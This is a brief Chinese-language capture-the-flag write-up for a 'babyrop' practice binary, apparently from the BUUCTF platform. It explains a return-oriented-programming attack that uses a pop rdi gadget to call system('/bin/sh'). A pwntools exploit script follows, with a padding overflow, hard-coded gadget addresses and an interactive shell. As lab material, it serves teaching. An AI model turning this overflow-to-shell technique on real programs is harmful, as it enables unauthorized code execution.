程序之中存在system函数,通过搜索字符串,还能得到’/bin/sh’字符串,一个简单的rop。
简单rop,利用万能的gadget,pop rdi ret传入字符串并调用system,得到shell。此题flag的位置在/home/babyrop内,可以通过find -name flag查找位置。
from pwn import *
p = process("./babyrop")
#p = remote('node3.buuoj.cn', 27401)
sys_addr = 0x0000000000400490
bin_sh = 0x0000000000601048
pop_rdi = 0x0000000000400683
p.recvuntil('? ')
p.sendline('a'*0x18+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr))
p.interactive()